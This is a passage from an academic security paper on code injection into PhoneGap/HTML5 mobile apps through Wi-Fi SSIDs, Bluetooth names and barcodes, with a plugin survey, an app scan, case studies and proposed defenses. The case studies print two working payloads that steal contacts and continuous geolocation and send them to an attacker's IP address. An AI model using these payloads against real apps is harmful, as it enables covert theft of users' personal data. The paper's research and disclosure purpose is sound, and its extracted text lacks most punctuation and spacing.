(a) Non-PhoneGap appusing five access points

(b) Non-PhoneGap app usingone access point

Figure 8 Techniques to overcome the length limitation

Attackers can also use one access point to launch theattack Most Wi-Fi scanning apps periodically refreshtheir screen to update the list of Wi-Fi access pointsthat can be detected To make our attack work wedo not need our malicious SSIDs to be displayed at thesame time as long as each of them is displayed thecode injected in the SSID field will be executed If allfive pieces of code are executed our attack will be suc-cessful Therefore all we need to do is to use one accesspoint but change its SSID to one of the five pieces ofcode one at a time as long as the fifth one goes thelast In Figure 8(b) we show five screendumps takenat different times from the non-PhoneGap app eachshowing a different SSID However in reality these fiveSSIDs are all from the same device We have verifiedthat when these SSIDs are displayed in our PhoneGapapp the jQuery code will be executed

6 PHONEGAP PLUGINSPhoneGap applications need to use plugins to inter-

act with the entities outside WebView In this section

we would like to find vulnerable ones in these plug-ins If a plugin is vulnerable it has to use vulnerableAPIs to display the data that are retrieved from an ex-ploitable channel For our investigation we downloaded186 third-party PhoneGap plugins from the GitHub [6]

61 Exploitable PluginsIf a plugin is exploitable it has to return data to the

page inside WebView and the data are controllable byexternal entities Not all plugins fit into these require-ments We wrote a tool to analyze the 186 plugins wefound that 58 plugins do not return data at all andanother 51 plugins only return data that are not con-trollable by attackers such as boolean values constantstrings status data and etc Namely these data areeither decided by the system or fixed by the developerso it is impossible to use these channels to inject codeAll the other 77 plugins satisfy our requirements Theyare further divided into three categories based on wherethe data come from (Table 3)

Return Data Type of Plugins

Non-Exploitable No Data 58Non-Exploitable Data 51

ExploitableWeb Data 24

Internal Data 38External Data 15

Table 3 Investigation on PhoneGap Plugins

Among the 77 plugins 24 plugins obtain data fromthe Web (eg PhoneGap plugins for accessing Face-book and Twitter) Although the data may containmalicious code the risk (ie XSS) is well-known so wewill not focus on these plugins Another 38 plugins arefor getting data (eg Calendar and Contact data) fromthe resources on the device ie the data channels areinternal These data can also contain code Howeverattackers have to install a malicious app that can writemalicious script to these resources first When a vul-nerable PhoneGap app displays the contents from theseresources the malicious script can be executed withthe victim apprsquos privileges These channels can also beused for spreading malicious code from a compromisedPhoneGap app to another on the same device

Our primary interests are in the ldquoexternal datardquocategory which contains 15 plugins They obtain datafrom external resources and return the data to the pageinside WebView We conduct a further study on them

62 Vulnerable PluginsAmong the 15 plugins that we study four are related

to speech recognition and credit-card scanner Due tothe difficulty to speak JavaScript code and the diffi-culty to get the credit-card scanner hardware we didnot study these four plugins Therefore we narrow ourinvestigation scope to 11 plugins

Among these 11 plugins five have companion JavaScriptcode including three Bluetooth plugins one Wi-Fi plu-gin and one SMS plugin After studying the code wehave identified two purposes for the JavaScript codeone is to provide sample code to developers showingthem how to use the plugins the other purpose is toprovide JavaScript libraries making it more convenientto use the plugins In both cases if the JavaScript codeincluded in the plugins is vulnerable they can lead toquite significant damage as most app developers mayeither directly use the provided libraries or learn fromthe sample code From the JavaScript code included bythese plugins we find that they either use innerHTMLor html() to display the data Therefore if the datacontain malicious code the code will be executed Wehave confirmed this hypothesis using our experiments

For the other six plugins although they do not pro-vide vulnerable JavaScript code they are still poten-tially vulnerable because they do not filter out the codein the exploitable channels If they are used by Phone-Gap apps that happen to use vulnerable data-displayAPIs the apps will be vulnerable Due to the commonuse of the vulnerable APIs among PhoneGap apps (seeTable 1) we believe that the chance for developers touse these APIs in conjunction with these six plugins ishigh making the apps vulnerable In the vulnerableapps written for Section 4 we have used these plugins(barcode scanner NFC and SMS plugins) This veri-fies that the combination of these plugins and mistakesin API usages can lead to vulnerable apps

7 CASE STUDYHaving studied the potential attacks using the code

written by ourselves we would really like to see whetherany of the existing real-world apps are subject to ourattacks For this purpose we launched a systematicsearch We downloaded 12068 free apps from 25 differ-ent categories in Google Play including Travel Trans-portation Social etc and we have identified 190 Phone-Gap apps From the PhoneGap official site [12] we col-lected another 574 free PhoneGap apps In total wehave 764 PhoneGap apps Although this number is rel-atively small compared to the number of apps in GooglePlay we believe that the number will significantly in-crease in the near future as HTML5-based mobile appsare becoming more and more popular

In order to know whether a PhoneGap app is vulner-able to our attack we wrote a Python tool using An-droGuard [2] to scan these 764 PhoneGap apps lookingfor the following information

bull Does the app read external data from the channelsthat we have identified

bull Does the app use vulnerable APIs or attributes todisplay information

bull Is the displayed information coming from the chan-nels

We found the following (1) 142 apps satisfy the firstcondition (2) 290 apps use at least one vulnerableAPIs or attributes to display information Combingthese two we found that 32 apps satisfy the first twoconditions Instead of writing a complicated data-flowanalysis tool to check the third condition we manuallystudied those 32 apps Eventually we found two appsthat satisfy all three conditions That means they arepotentially vulnerable We tested them using real at-tacks and the results confirmed their vulnerabilitiesWe give the details of our experiments in the rest ofthis section

Case Study 1 The GWT Mobile PhoneGap Show-case app This is a PhoneGap demonstration appwhich shows developers how to use PhoneGap and itsplugins The app includes all the built-in plugins andthree third-party pluginsmdashthe ChildBrowser plugin Blue-tooth plugin and Facebook plugin The app has a fullset of permissions for these plugins

One of the functionalities of this app is to use theBluetooth plugin to list all the detected Bluetooth de-vices (usually necessary for pairing purposes) Unfor-tunately it uses innerHTML to display the names of theBluetooth devices This API is subject to code injectionattack

To launch attacks on this vulnerable app we turn ourattacking device into a Bluetooth device and embedsome malicious JavaScript code in the name field (thelength limit is 248 which is more than enough) As acomparison we also use a non-PhoneGap app to do theBluetooth pairing Figure 9(a) shows the result fromwhich we can see that the code is only treated as a puretext by the non-PhoneGap app The code is describedin the following (we added some spaces to the code tomake it easier to read)1 ltimg src=x onerror=PhoneGapexec(2 function(a)3 m=rsquorsquo4 for(i=0iltalengthi++)m+=a[i]displayName+rsquonrsquo5 alert(m)6 documentwrite(rsquoltimg

src=http128230213665556c=rsquo+m+rsquogtrsquo)7 8 function(e)9 rsquoContactsrsquorsquosearchrsquo [[rsquodisplayNamersquo]])gt

The PhoneGapexec() call eventually triggers a Phone-Gap method (Java code) outside WebView It needs fiveparameters The last three parameters shown in Line9 specify the name of plugin (Contacts) the method(search) that needs to be invoked in this plugin andthe parameters passed to the method Basically thesethree parameters ask PhoneGap to return the names ofall the people in the devicersquos Contact If the Phone-Gapexec() call fails the function in Line 8 will be

invoked (it is set to empty) If the call succeeds thecallback function specified in Lines 2 to 7 will be in-voked and this is where the damage is achieved

When this callback function is invoked the data re-turned from the PhoneGap plugin will be stored in thevariable a which is an array containing the names re-trieved from the Contact From Lines 3 and 4 we cansee that the code constructs a string called m from theContact data At Line 5 the string is displayed (seeFigure 9(b)) but this is only for demonstration pur-pose The real attack is on Line 6 which seems tocreate just an img tag but its real purpose is to invokea HTTP GET request to a remote server (owned by theattacker) with the stolen Contact data attached to therequest essentially sending the data to the attacker

As a demonstration app for PhoneGap the vulnera-bility in GWT Mobile PhoneGap Showcase has a muchgreater impact than those in real apps because appdevelopers usually learn how to write PhoneGap appsfrom such a demonstration app (the source code of thisapp is available from the GitHub [9]) Before this paperis published we will contact the authors of this app sothe vulnerability gets fixed

(a) Non-PhoneGap Blue-tooth App

(b) GWT Mobile Phone-Gap Showcase App

Figure 9 Bluetooth

Case Study 2 The RewardingYourself app Thisapp manages usersrsquo miles or points in their loyalty pro-gram and find out how much they are worth The apphas all the official PhoneGap plugins and a third-partybarcode-scanner plugin When a barcode is scanned inthis app the data from the barcode will be displayedusing innerHTML which is vulnerable to code injectionWe made a QR code that contains the following script1 ltimg src=x onerror=2 navigatorgeolocationwatchPosition(3 function(loc)4 m=rsquoLatitudersquo+loccoordslatitude+5 rsquonrsquo+rsquoLongitudersquo+loccoordslongitude6 alert(m)7 b=documentcreateElement(rsquoimgrsquo)8 bsrc=rsquohttp128230213665556c=rsquo+m )gt

This code uses GeolocationwatchPosition() to stealthe devicersquos geolocation The API which is introducedin HTML5 registers a handler function that will be

called automatically each time the position of the de-vice changes From the code we can see that when thehandler function is invoked the location information isstored in the variable loc and displayed at Line 6 (seeFigure 10(b)) At Lines 7 and 8 locrsquos content is sentto an outside computer Since the handler function iscalled periodically once the victim scans the maliciousbarcode the device will keep sending its locations tothe attacker as long as the vulnerable app is still run-ning (see Figure 10(c))

This app is also available in other platforms includ-ing iOS and Blackberry Unfortunately we could notget the apprsquos barcode scan to work in iOS because itrelies on a barcode scanner app to read the barcodebut the scanner app does not work The RewardingY-ourself app does work in Blackberry We attacked itusing the same barcode and our attack is completelysuccessful This verifies our hypothesis that our attackis not platform dependent

(c) Server Received Location Infomation

Figure 10 Barcode apps

8 SOLUTIONS AND RELATED WORKFinding solutions to the attack is beyond the scope

of this paper but it will be the main focus in the nextphase of our research In this paper we briefly describesome potential directions based on the solutions pro-posed for the XSS problem Although some of the solu-tions may work at least conceptually getting them towork in real systems need a more thorough study

Sanitization-based Solution Sanitization is acommon technique to prevent code injection attacks byfiltering out the code mixed in data The sanitized databecomes a pure text and cannot trigger code executionSanitization-based solutions have been widely studied

in the web content to prevent code injection The keychallenge of these solutions is how to identify the codemixed in data Several approaches have been proposedto address this challenge including Bek [22] CSAS [31]ScriptGard [32] etc Unfortunately new attacks areconstantly proposed to defeat the filtering logic in theexisting sanitization mechanisms [2021]

We can adopt some of the sanitization methods toremove script from string to prevent the attack how-ever the challenge is to decide where to place the sani-tization logic For XSS the decision is simple becausethere is only one channel (ie the web server) but forour attack there are many channels that can be usedfor code injection There are several places where wecan place the sanitization logic one is to place it in thePhoneGap framework since it is the single entry pointthat all external data need to pass through before theyreach the JavaScript code inside WebView Howeverthis solution is limited to PhoneGap It will be moredesirable if we can place the sanitization logic in Web-View making it a more generic solution but whetherthis can be achieved or not without breaking the otherfunctionalities of WebView is not clear

Tainting-based Solution An alternative approachis to use taint analysis to detect potential code injectionvulnerabilities Tainting frameworks can be applied atboth server side [25 28 30 36] and client side [19 29]The idea behinds tainting is to mark untrusted inputsand propagate them throughout the program Any at-tempt to directly or indirectly execute the tainted datawill be reported and discarded

To enable tainting solutions we should mark the ex-ternal data when it enters the device The challenge isto track it throughout the driver Dalvik VM JavaScriptengine and the interaction between these componentsOnce we can achieve this we can prevent malicious codefrom being triggered even if it gets into the device

Mitigating Damage Instead of preventing code in-jection attacks several studies propose to mitigate thedamage caused by the injected script The idea is torestrict the power of untrusted code Developers needto configure the policy and assign privileges to eachDOM element based on the trustworthiness of its con-tents For example Escudo [23] and Contego [26] re-strict the privilege of the script in some specific DOMelements Content Security Policy [33 35] enforces afairly strong restriction on JavaScript not allowing in-line JavaScript and eval() CSP can solve the prob-lem identified in this paper but enforcing on-by-defaultCSP policy requires great amount of effort from appdevelopers to modify existing apps because there is noinline-JavaScript support It will be worthwhile to con-duct a further study on the effectiveness of the CSP inprotecting HTML5-based mobile apps

These frameworks are designed for browsers but Wecan adopt the ideas from the above work to mitigateour attack ie we can develop a secure WebView thatprovides a needed trust computing base for HTML5-based mobile apps

Other Related Work WebView and PhoneGapare important elements for HTML5-based mobile appsSeveral studies have investigated their security [17 1824 27 34] NoFrak [18] and [24] focus on preventinguntrusted foreign-origin web code from accessing localmobile resources Their solutions cannot be adoptedto defend our attack as the code in our attack comesfrom the external channels that do not belong to webXCS [16] finds some interesting channels to inject codeinto the sever such as printer router and digital photoframe etc Once the code is retrieved by web interfaceit will get executed in the desktop browser In our workmost of the channels are quite unique to mobile plat-forms and the studied problems are quite different fromother attacks

9 SUMMARY AND FUTURE WORKIn this paper we have identified a new type of code

injection attack against HTML5-based mobile apps Wesystematically studied the feasibility of this attack onmobile devices using real and proof-of-concept apps Weenvision an outbreak of our attacks in the near futureas HTML5-based mobile apps are becoming more andmore popular because of the portability advantage Be-ing able to identify such attacks before the outbreakoccurs is very important as it can help us ensure thatthe technologies such as PhoneGap are evolving withthe threat in mind In our future work we will developsolutions to the attack and work with the PhoneGapteam (and other similar teams) to find practical solu-tions that are secure while maintaining the advantageof the HTML5-based mobile apps

10 ACKNOWLEDGEMENTWe would like to thank the anonymous reviewers for

their valuable and encouraging comments This workwas supported in part by NSF grants 1017771 and 1318814and by a Google research award Any opinions findingsconclusions or recommendations expressed in this ma-terial are those of the authors and do not necessarilyreflect the views of the NSF or Google

11 REFERENCES[1] 75 of developers using html5survey http

eweekcomcaApplication-Development75-of-Developers-Using-HTML5-Survey-508096

[2] androguardreverse engineering malware andgoodware analysis of android applicationshttpcodegooglecompandroguard

[3] Appcelerator httpappceleratorcom[4] The facts about fm radio in mobile phones

httpradioheardherecomfm-mobilehtm[5] Gartner recommends a hybrid approach for

business-to-employee mobile appshttpgartnercomnewsroomid2429815

[6] Githubbuild software better togetherhttpsgithubcom

[7] Gnuradio usrp and software defined radio linkshttpolifantasiacomcmsennode9

[8] Google url shorener httpgoogl[9] Gwt mobile phonegap showcase source code

httpsgithubcomdennisjzhGwtMobile[10] Mobile apps under a new type of attack http

wwwcissyredu~weduattackindexhtml[11] Owasp the ten most critical web application

security risks httpowasptop10googlecodecomfilesOWASP20Top201020-202013pdf

[12] Phonegap httpphonegapcom[13] Rhomobile httprhomobilecom[14] trim httptrim[15] Wikiservice set (80211 network)

httpwikipediaorgwikiService_set_(80211_network)

[16] Hristo Bojinov Elie Bursztein and Dan BonehXCS cross channel scripting and its impact onweb applications In Proceedings of the 16th ACMconference on Computer and communicationssecurity pages 420ndash431 ACM 2009

[17] E Chin and D Wagner Bifocals Analyzingwebview vulnerabilities in android applications

[18] Martin Georgiev Suman Jana and VitalyShmatikov Breaking and fixing origin-basedaccess control in hybrid webmobile applicationframeworks 2014

[19] O Hallaraker and G Vigna Detecting maliciousjavascript code in mozilla In Engineering ofComplex Computer Systems ICECCS 2005

[20] R Hansen Xss cheat sheethttphackersorgxsshtml 2008

[21] Mario Heiderich Jorg Schwenk Tilman FroschJonas Magazinius and Edward Z Yang mxssattacks attacking well-secured web-applicationsby using innerhtml mutations 2013

[22] P Hooimeijer B Livshits D Molnar P Saxenaand M Veanes Fast and precise sanitizer analysiswith bek In Proceedings of the 20th USENIXconference on Security 2011

[23] K Jayaraman W Du B Rajagopalan and S JChapin Escudo A fine-grained protection modelfor web browsers In ICDCS 2010

[24] X Jin L Wang T Luo and W DuFine-Grained Access Control for HTML5-BasedMobile Applications in Android In Proceedings ofthe 16th Information Security Conference (ISC)

2013[25] N Jovanovic C Kruegel and E Kirda Pixy A

static analysis tool for detecting web applicationvulnerabilities In IEEE Symposium on Securityand Privacy 2006

[26] T Luo and W Du Contego Capability-basedaccess control for web browsers In Trust andTrustworthy Computing Springer 2011

[27] T Luo H Hao W Du Y Wang and H YinAttacks on webview in the android system InProceedings of the Annual Computer SecurityApplications Conference (ACSAC) 2011

[28] A N Tuong S Guarnieri D Greene J Shirleyand D Evans Automatically hardening webapplications using precise tainting Springer 2005

[29] F Nentwich N Jovanovic E Kirda C Kruegeland G Vigna Cross-site scripting prevention withdynamic data tainting and static analysis InProceeding of the Network and Distributed SystemSecurity Symposium (NDSS) 2007

[30] T Pietraszek and C V Berghe Defendingagainst injection attacks through context-sensitivestring evaluation In Recent Advances in IntrusionDetection pages 124ndash145 Springer 2006

[31] Mike Samuel Prateek Saxena and Dawn SongContext-sensitive auto-sanitization in webtemplating languages using type qualifiers InProceedings of the 18th ACM conference onComputer and Communications Security 2011

[32] P Saxena D Molnar and B Livshits Scriptgardautomatic context-sensitive sanitization forlarge-scale legacy web applications In Proceedingsof the 18th ACM conference on Computer andcommunications security 2011

[33] S Stamm B Sterne and G Markham Reiningin the web with content security policy InProceedings of the 19th international conferenceon World wide web pages 921ndash930 ACM 2010

[34] R Wang L Xing X Wang and S ChenUnauthorized Origin Crossing on MobilePlatforms Threats and Mitigation In ACMConference on Computer and CommunicationsSecurity (ACM CCS) Berlin Germany 2013

[35] J Weinberger A Barth and D Song Towardsclient-side html security policies In Workshop onHot Topics on Security (HotSec) 2011

[36] Y Xie and A Aiken Static detection of securityvulnerabilities in scripting languages InProceedings of the 15th conference on USENIXSecurity Symposium volume 15 pages 179ndash1922006

Introduction

Background

The Code Injection Attack

The Overview

Triggering the Injected Code

The Damage

Code Injection Channels

ID Channels

Data Channels Unique to Mobile Devices

Metadata Channels in Media

Overcome the Limitation

Length Limitation on Channels

Shortening URLs

Shortening Malicious Code

Overcoming the Limitations

PhoneGap Plugins

Exploitable Plugins

Vulnerable Plugins

Case Study

Solutions and Related Work

Summary and Future Work

Acknowledgement

References